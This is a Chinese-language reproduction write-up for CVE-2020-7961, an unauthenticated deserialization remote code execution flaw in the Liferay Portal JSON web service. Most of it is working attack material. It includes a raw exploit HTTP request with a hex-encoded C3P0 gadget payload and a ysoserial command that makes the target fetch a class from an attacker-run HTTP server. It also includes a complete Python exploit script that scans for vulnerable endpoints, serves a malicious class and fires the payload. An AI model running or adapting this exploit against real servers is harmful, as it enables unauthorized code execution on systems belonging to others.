(CVE-2020-7961)Liferay Portal Json Web Service 反序列化漏洞

一、漏洞简介

二、漏洞影响

Liferay Portal 6.1.XLiferay Portal 6.2.XLiferay Portal 7.0.XLiferay Portal 7.1.XLiferay Portal 7.2.X

三、复现过程

环境搭建

https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1 下载带tomcat的集成版,接下来就可以运行了,安装过程一路默认配置即可1.png2.png

漏洞复现

poc

POST /api/jsonws/invoke HTTP/1.1
Host: www.0-sec.org:8080
Content-Length: 2335
Content-Type: application/x-www-form-urlencoded
Connection: close

cmd={"/expandocolumn/add-column":{}}&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced000573720028636f6d2e6d6368616e67652e76322e633370302e506f6f6c4261636b656444617461536f75726365de22cd6cc7ff7fa802000078720035636f6d2e6d6368616e67652e76322e633370302e696d706c2e4162737472616374506f6f6c4261636b656444617461536f75726365000000000000000103000078720031636f6d2e6d6368616e67652e76322e633370302e696d706c2e506f6f6c4261636b656444617461536f757263654261736500000000000000010300084900106e756d48656c706572546872656164734c0018636f6e6e656374696f6e506f6f6c44617461536f757263657400244c6a617661782f73716c2f436f6e6e656374696f6e506f6f6c44617461536f757263653b4c000e64617461536f757263654e616d657400124c6a6176612f6c616e672f537472696e673b4c000a657874656e73696f6e7374000f4c6a6176612f7574696c2f4d61703b4c0014666163746f7279436c6173734c6f636174696f6e71007e00044c000d6964656e74697479546f6b656e71007e00044c00037063737400224c6a6176612f6265616e732f50726f70657274794368616e6765537570706f72743b4c00037663737400224c6a6176612f6265616e732f5665746f61626c654368616e6765537570706f72743b7870770200017372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e000a4c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f727971007e00044c0014636c617373466163746f72794c6f636174696f6e71007e00044c0009636c6173734e616d6571007e00047870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400074578706c6f6974740016687474703a2f2f3132372e302e302e313a383938392f7400076578706c6f697470707070770400000000787702000178;"}

本地起http server 挂载Exploit.class字节码文件3.pngysoserial c3p0生成:

java -jar ysoserial.jar C3P0 "http://192.168.3.199/:Exploit" > test1.ser

然后用以下脚本转为16进制:

import java.io.*;

public class poc {
    public String encodeHex(InputStream fi) throws IOException {
        int size;
        String hexStr="";
        while ((size=fi.read())!=-1){
            String byteChar = Integer.toHexString(size);
            if(byteChar.length()<2) {
                byteChar = "0" + byteChar;
            }
           hexStr = hexStr + byteChar;
        }
        return hexStr;
    }
    public static void main(String[] args) throws IOException {
    FileInputStream fi  = new FileInputStream(new File(System.getProperty("user.dir")+"/src/main/resources/test.ser"));
    poc obj = new poc();
    String pocStr = obj.encodeHex(fi);
    System.out.println(pocStr);
    }
}

或者用mashalsec直接生成16进制paylaod:4.png1063309202004040921217371034019990.gif

poc

poc.py

'''
    Title: POC for Unauthenticated Remote code execution via JSONWS (LPS-97029/CVE-2020-7961) in Liferay 7.2.0 CE GA1 
    POC author: mzero
    Download link: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/7.2.0%20GA1/liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761.7z/download
    Based on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research
    Usage: python poc.py -h

    Gadget used: C3P0WrapperConnPool 

    Installation:
    pip install requests
    pip install bs4

    Create file LifExp.java with example content:
    public class LifExp {
        static {
        try {
            String[] cmd = {"cmd.exe", "/c", "calc.exe"};
            java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch ( Exception e ) {
            e.printStackTrace();
            }
        }
    }
    javac LifExp.java
    Place poc.py and LifExp.class in the same directory.
'''
import requests
import threading
import time
import sys
import argparse
import binascii
from bs4 import BeautifulSoup
from datetime import datetime
from http.server import BaseHTTPRequestHandler,HTTPServer
#import http.server
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# SET proxy
PROXIES = {}
#PROXIES = {"http":"http://127.0.0.1:9090"}

class HttpHandler(BaseHTTPRequestHandler):

    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-type','application/java-vm')
        self.end_headers()
        f = open("LifExp.class", "rb")
        self.wfile.write(f.read())
        f.close()
        return

def log(level, msg):
    prefix = "[#] "
    if level == "error":
        prefix = "[!] "
    d = datetime.now().strftime("%d/%m/%Y %H:%M:%S")
    temp = "{} [{}] {}".format(prefix, d, msg)
    print(temp)

def find_href(body):
    soup = BeautifulSoup(body, "html.parser")
    return soup.find_all('a', href=True)

def find_class(body, clazz):
    soup = BeautifulSoup(body, "html.parser")
    return soup.findAll("div", {"class": clazz})

def find_id(body):
    soup = BeautifulSoup(body, "html.parser")
    return soup.findAll("form", {"id": "execute"})

def get_param(div):
    param = ""
    param_type = ""
    p_name = div.find("span", {"class": "lfr-api-param-name"})
    p_type = div.find("span", {"class": "lfr-api-param-type"})
    if p_name:
        param = p_name.text.strip()
    if p_type:
        param_type = p_type.text.strip()

    return (param, param_type)

def _do_get(url):
    resp = requests.get(url, proxies=PROXIES, verify=False)
    return resp

def do_get(host, path):
    url = "{}/{}".format(host, path)
    resp = _do_get(url)
    return resp

def _do_post(url, data):
    resp = requests.post(url, proxies=PROXIES, verify=False, data=data)
    return resp

def do_post(host, path, data):
    url = "{}/{}".format(host, path)
    resp = _do_post(url, data)
    return resp

def find_endpoints(host, path):
    result = []
    resp = do_get(host, path)
    links = find_href(resp.text)
    for link in links:
        if "java.lang.Object" in link['href']:
            result.append(link['href'])
    return result

def find_parameters(body):
    div_params = find_class(body, "lfr-api-param")
    params = []
    for d in div_params:
        params.append(get_param(d))
    return params

def find_url(body):
    form = find_id(body)[0]
    return form['action']

def set_params(params, payload, payload_type):
    result = {}
    for param in params:
        p_name, p_type = param
        if p_type == "java.lang.Object":
            result[p_name+":"+payload_type] = payload

        result[p_name] = "1"
    return result

def pad(data, length):
    return data+"\x20"*(length-len(data))

def exploit(host, api_url, params, PAYLOAD, PAYLOAD_TYPE):
    p = set_params(params, PAYLOAD, PAYLOAD_TYPE)
    resp = do_post(host, api_url, p)

banner = """POC author: mzero\r\nBased on https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html research"""

def main():
    print(banner)
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target-host", dest="target", help="target host:port", required=True)
    parser.add_argument("-u", "--api-url", dest="api_url", help="path to jsonws. Default: /api/jsonws", default="api/jsonws")
    parser.add_argument("-p", "--bind-port", dest="bind_port", help="HTTP server bind port. Default 9091", default=9091)
    parser.add_argument("-l", "--bind-ip", dest="bind_ip", help="HTTP server bind IP. Default 127.0.0.1. It can't be 0.0.0.0", default="127.0.0.1")

    args = parser.parse_args()
    bind_port  = int(args.bind_port)
    bind_ip = args.bind_ip
    target_ip = args.target
    api_url = args.api_url
    endpoints = []
    vuln_endpoints = []

    PAYLOAD_TYPE = "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
    PAYLOAD_PREFIX = """{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c69664578707400c8"""
    PAYLOAD_SUFIX = """740003466f6f;"}"""

    INTERNAL = pad("http://{}:{}/".format(bind_ip, bind_port), 200)

    INTERNALB = INTERNAL.encode('utf-8')

    INTERNALHEX = binascii.hexlify(INTERNALB)

    PAYLOAD = PAYLOAD_PREFIX+INTERNALHEX.hex()+PAYLOAD_SUFIX


    try:
        log("info", "Looking for vulnerable endpoints: {}/{}".format(target_ip, api_url))
        endpoints = find_endpoints(target_ip, api_url)
        if not endpoints:
            log("info", "Vulnerable endpoints not found!")
            sys.exit(1)
    except Exception as ex:
        log("error", "An error occured:")
        print(ex)
        sys.exit(1)

    try:
        server = HTTPServer((bind_ip, bind_port), HttpHandler)
        log("info", "Started HTTP server on {}:{}".format(bind_ip, bind_port))
        th = threading.Thread(target=server.serve_forever)
        th.daemon=True
        th.start()

        for e in endpoints:
            resp = do_get(target_ip, e)
            params = find_parameters(resp.text)
            url_temp = find_url(resp.text)
            vuln_endpoints.append((url_temp, params))

        for endpoint in vuln_endpoints:
            log("info", "Probably vulnerable endpoint {}.".format(endpoint[0]))
            op = raw_input("Do you want to test it? Y/N: ")
            if op.lower() == "y":
                exploit(target_ip, endpoint[0], endpoint[1], PAYLOAD, PAYLOAD_TYPE)

        log("info", "CTRL+C to exit :)")
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        log("info", "Shutting down...")
        server.socket.close()
    except Exception as ex:
        log("error", "An error occured:")
        print(ex)
        sys.exit(1)

if __name__ == "__main__":
    main()

LifExp.java

public class LifExp {

static {
try {
String[] cmd = {"cmd.exe", "/c", "calc.exe"};
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}

参考链接

https://www.cnblogs.com/tr1ple/p/12608731.html#NmdGyEkb